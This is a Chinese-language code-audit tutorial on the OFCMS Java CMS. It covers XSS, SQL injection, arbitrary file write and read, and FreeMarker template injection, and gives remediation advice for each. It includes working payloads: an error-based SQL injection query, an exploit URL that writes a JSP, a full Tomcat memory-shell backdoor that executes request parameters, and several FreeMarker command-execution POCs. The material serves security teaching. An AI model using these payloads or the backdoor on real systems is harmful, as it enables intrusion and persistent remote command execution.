ofcms代码审计
字数 2551 2025-08-20 18:17:58

OFCMS代码审计与漏洞分析教学文档

一、环境搭建

1.1 所需工具

  • 开发工具: IDEA 2024
  • Java环境: JDK 1.8
  • 构建工具: Maven 3.9
  • 数据库: MySQL 9.0 Community
  • Web服务器: Tomcat 8.5

1.2 项目结构

ofcms-admin
  - admin
    - controller
    - domain
    - service
    - task
  - core
    - config
    - handler
    - interceptor
    - plugin
    - render
    - util
  - front
    - controller
    - template

ofcms-api
  - cms
    - api
    - service

ofcms-core
  - core
    - annotation
    - api
    - method
    - route
    - spring
    - utils
    - validator

ofcms-front
  - page
  - front
  - blog
  - static

ofcms-model
  - model
  - base

二、审计方法论

2.1 审计步骤

  1. 阅读文档了解CMS功能点
  2. 识别高风险功能点
  3. 进行盲测
  4. 深入代码审计分析

2.2 审计思路

  • 从功能点入手,而非直接搜索危险函数
  • 关注用户输入点:评论、上传、表单等
  • 检查参数处理是否充分

三、漏洞分析

3.1 存储型XSS漏洞

漏洞位置:
/ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html

漏洞代码:

${data.comment_content}  // 未做任何转义处理

漏洞原理:
用户评论内容直接输出到页面,未进行HTML编码或过滤,导致恶意脚本被执行。

修复建议:

  • 使用HTML编码函数处理输出
  • 实现内容安全策略(CSP)

3.2 SQL注入漏洞

漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java

漏洞代码:

public void create() {
    try {
        String sql = getPara("sql");  // 直接获取用户输入
        Db.update(sql);  // 直接执行SQL语句
        rendSuccessJson();
    } catch (Exception e) {
        e.printStackTrace();
        rendFailedJson(ErrorCode.get("9999"), e.getMessage());
    }
}

利用方式:

update of_cms_access set site_id=updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)

漏洞原理:
直接拼接用户输入到SQL语句,未使用预编译语句或参数化查询。

修复建议:

  • 使用预编译语句(PreparedStatement)
  • 实现SQL语句白名单机制
  • 最小权限原则配置数据库账户

3.3 文件上传漏洞

漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

漏洞代码:

public void save() {
    String resPath = getPara("res_path");
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    
    String dirName = getPara("dirs");
    if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }
    
    String fileName = getPara("file_name");
    String fileContent = getRequest().getParameter("file_content");
    fileContent = fileContent.replace(replace(...));
    
    File file = new File(pathFile, fileName);
    FileUtils.writeString(file, fileContent);
    rendSuccessJson();
}

利用方式:

http://localhost:8081/ofcms_admin_war/admin/cms/template/save.html?file_name=static/N11.jsp&file_content=<恶意代码>

漏洞原理:

  1. 未对文件名进行路径穿越检查
  2. 未限制上传文件类型
  3. 未对文件内容进行安全检测

修复建议:

  • 校验文件名,防止路径穿越
  • 实现文件类型白名单
  • 限制上传目录为不可执行
  • 对上传内容进行安全扫描

3.4 内存马注入

利用方式:
上传包含以下内容的JSP文件:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
public class Shell_Listener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
    public void requestDestroyed(ServletRequestEvent sre) {}
}
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

漏洞原理:
通过上传恶意JSP文件,利用Java反射机制注册监听器,实现持久化后门。

3.5 任意文件读取漏洞

漏洞位置:
/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

漏洞代码:

public void getTemplates() {
    // ...
    if (editFile != null) {
        String fileContent = FileUtils.readString(editFile);
        if (fileContent != null) {
            fileContent = fileContent.replace(replace(...));
            setAttr("file_content", fileContent);
            setAttr("file_path", editFile);
        }
    }
    // ...
}

限制条件:
文件扩展名白名单:

public boolean accept(File file) {
    return !file.isDirectory() && 
           (file.getName().endsWith(".html") || 
            file.getName().endsWith(".xml") || 
            file.getName().endsWith(".css") || 
            file.getName().endsWith(".js"));
}

利用方式:

http://localhost:8081/ofcms_admin_war/admin/cms/template/getTemplates?filename=N11.html&dir=static

修复建议:

  • 加强文件路径校验
  • 实现更严格的权限控制
  • 记录文件访问日志

3.6 FreeMarker模板注入

漏洞位置:
后台模板编辑功能

利用原理:
FreeMarker模板引擎允许执行Java代码,通过特殊标签注入恶意指令。

POC示例:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder","/System/Applications/Calculator.app/Contents/MacOS/Calculator").start()}

其他POC变种:

  1. 使用JythonRuntime:
<#assign value="freemarker.template.utility.JythonRuntime"?new()>
<@value>import os;os.system("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
  1. 使用Execute:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator") }
  1. 使用API方法(需api_builtin_enabled为true):
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

修复建议:

  • 禁用new指令: new_builtin_class_resolver=TemplateClassResolver.SAFER_RESOLVER
  • 禁用api指令: api_builtin_enabled=false
  • 使用沙盒环境运行模板引擎
  • 对模板内容进行安全审核

四、审计技巧总结

4.1 Java危险函数清单

  1. SQL相关:

    • Statement.execute*()
    • JdbcTemplate.queryFor*() (未使用参数化时)
    • Db.update()
  2. 文件操作:

    • FileInputStream/FileOutputStream
    • FileUtils.writeString()
    • Runtime.getRuntime().exec()
  3. 反序列化:

    • ObjectInputStream.readObject()
    • JSON.parseObject() (某些实现)
  4. 反射相关:

    • Class.forName()
    • Method.invoke()
    • Field.setAccessible()

4.2 审计工具推荐

  1. 静态分析工具:

    • Fortify
    • Checkmarx
    • SonarQube
  2. 动态测试工具:

    • Burp Suite
    • OWASP ZAP
    • SQLMap
  3. 辅助工具:

    • JD-GUI (反编译)
    • Arthas (运行时诊断)
    • JADX (Android/Java反编译)

4.3 环境搭建经验

  1. 注意组件版本兼容性:

    • Tomcat版本与JDK版本匹配
    • MySQL驱动版本与MySQL服务版本匹配
  2. 调试技巧:

    • 配置远程调试
    • 使用日志框架(Log4j/SLF4J)增加调试信息
    • 使用Postman构造复杂请求

五、防御措施建议

5.1 通用安全原则

  1. 输入验证:

    • 白名单优于黑名单
    • 在边界处验证所有输入
  2. 输出编码:

    • 根据上下文(HTML/JS/URL等)选择合适的编码方式
  3. 最小权限原则:

    • 数据库账户
    • 文件系统权限
    • 系统调用权限

5.2 针对已发现漏洞的修复方案

  1. XSS防御:

    • 实现统一的输出编码过滤器
    • 设置Content-Security-Policy头
  2. SQL注入防御:

    • 全站改用预编译语句
    • 实现ORM框架
  3. 文件上传防御:

    • 文件类型校验(通过Magic Number)
    • 随机化存储文件名
    • 禁用上传目录脚本执行
  4. 模板注入防御:

    • 配置FreeMarker安全策略
    Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
    cfg.setAPIBuiltinEnabled(false);
    
  5. 任意文件读取防御:

    • 实现文件路径规范化检查
    • 限制可访问目录范围

六、进阶学习资源

6.1 Java安全相关

  • OWASP Java安全编码指南
  • Java安全体系结构(JCA/JSSE)
  • Java沙箱机制与安全管理器

6.2 Web安全进阶

  • Servlet/JSP安全机制
  • Spring Security深度实践
  • JWT安全实现方案

6.3 漏洞研究资源

  • CVE数据库(https://cve.mitre.org/)
  • NVD国家漏洞数据库(https://nvd.nist.gov/)
  • OWASP Top 10漏洞清单
OFCMS代码审计与漏洞分析教学文档 一、环境搭建 1.1 所需工具 开发工具 : IDEA 2024 Java环境 : JDK 1.8 构建工具 : Maven 3.9 数据库 : MySQL 9.0 Community Web服务器 : Tomcat 8.5 1.2 项目结构 二、审计方法论 2.1 审计步骤 阅读文档了解CMS功能点 识别高风险功能点 进行盲测 深入代码审计分析 2.2 审计思路 从功能点入手,而非直接搜索危险函数 关注用户输入点:评论、上传、表单等 检查参数处理是否充分 三、漏洞分析 3.1 存储型XSS漏洞 漏洞位置 : /ofcms-admin/src/main/webapp/WEB-INF/page/default/article.html 漏洞代码 : 漏洞原理 : 用户评论内容直接输出到页面,未进行HTML编码或过滤,导致恶意脚本被执行。 修复建议 : 使用HTML编码函数处理输出 实现内容安全策略(CSP) 3.2 SQL注入漏洞 漏洞位置 : /ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java 漏洞代码 : 利用方式 : 漏洞原理 : 直接拼接用户输入到SQL语句,未使用预编译语句或参数化查询。 修复建议 : 使用预编译语句(PreparedStatement) 实现SQL语句白名单机制 最小权限原则配置数据库账户 3.3 文件上传漏洞 漏洞位置 : /ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java 漏洞代码 : 利用方式 : 漏洞原理 : 未对文件名进行路径穿越检查 未限制上传文件类型 未对文件内容进行安全检测 修复建议 : 校验文件名,防止路径穿越 实现文件类型白名单 限制上传目录为不可执行 对上传内容进行安全扫描 3.4 内存马注入 利用方式 : 上传包含以下内容的JSP文件: 漏洞原理 : 通过上传恶意JSP文件,利用Java反射机制注册监听器,实现持久化后门。 3.5 任意文件读取漏洞 漏洞位置 : /ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java 漏洞代码 : 限制条件 : 文件扩展名白名单: 利用方式 : 修复建议 : 加强文件路径校验 实现更严格的权限控制 记录文件访问日志 3.6 FreeMarker模板注入 漏洞位置 : 后台模板编辑功能 利用原理 : FreeMarker模板引擎允许执行Java代码,通过特殊标签注入恶意指令。 POC示例 : 其他POC变种 : 使用JythonRuntime: 使用Execute: 使用API方法(需api_ builtin_ enabled为true): 修复建议 : 禁用new指令: new_builtin_class_resolver=TemplateClassResolver.SAFER_RESOLVER 禁用api指令: api_builtin_enabled=false 使用沙盒环境运行模板引擎 对模板内容进行安全审核 四、审计技巧总结 4.1 Java危险函数清单 SQL相关 : Statement.execute*() JdbcTemplate.queryFor*() (未使用参数化时) Db.update() 文件操作 : FileInputStream/FileOutputStream FileUtils.writeString() Runtime.getRuntime().exec() 反序列化 : ObjectInputStream.readObject() JSON.parseObject() (某些实现) 反射相关 : Class.forName() Method.invoke() Field.setAccessible() 4.2 审计工具推荐 静态分析工具 : Fortify Checkmarx SonarQube 动态测试工具 : Burp Suite OWASP ZAP SQLMap 辅助工具 : JD-GUI (反编译) Arthas (运行时诊断) JADX (Android/Java反编译) 4.3 环境搭建经验 注意组件版本兼容性: Tomcat版本与JDK版本匹配 MySQL驱动版本与MySQL服务版本匹配 调试技巧: 配置远程调试 使用日志框架(Log4j/SLF4J)增加调试信息 使用Postman构造复杂请求 五、防御措施建议 5.1 通用安全原则 输入验证 : 白名单优于黑名单 在边界处验证所有输入 输出编码 : 根据上下文(HTML/JS/URL等)选择合适的编码方式 最小权限原则 : 数据库账户 文件系统权限 系统调用权限 5.2 针对已发现漏洞的修复方案 XSS防御 : 实现统一的输出编码过滤器 设置Content-Security-Policy头 SQL注入防御 : 全站改用预编译语句 实现ORM框架 文件上传防御 : 文件类型校验(通过Magic Number) 随机化存储文件名 禁用上传目录脚本执行 模板注入防御 : 配置FreeMarker安全策略 任意文件读取防御 : 实现文件路径规范化检查 限制可访问目录范围 六、进阶学习资源 6.1 Java安全相关 OWASP Java安全编码指南 Java安全体系结构(JCA/JSSE) Java沙箱机制与安全管理器 6.2 Web安全进阶 Servlet/JSP安全机制 Spring Security深度实践 JWT安全实现方案 6.3 漏洞研究资源 CVE数据库(https://cve.mitre.org/) NVD国家漏洞数据库(https://nvd.nist.gov/) OWASP Top 10漏洞清单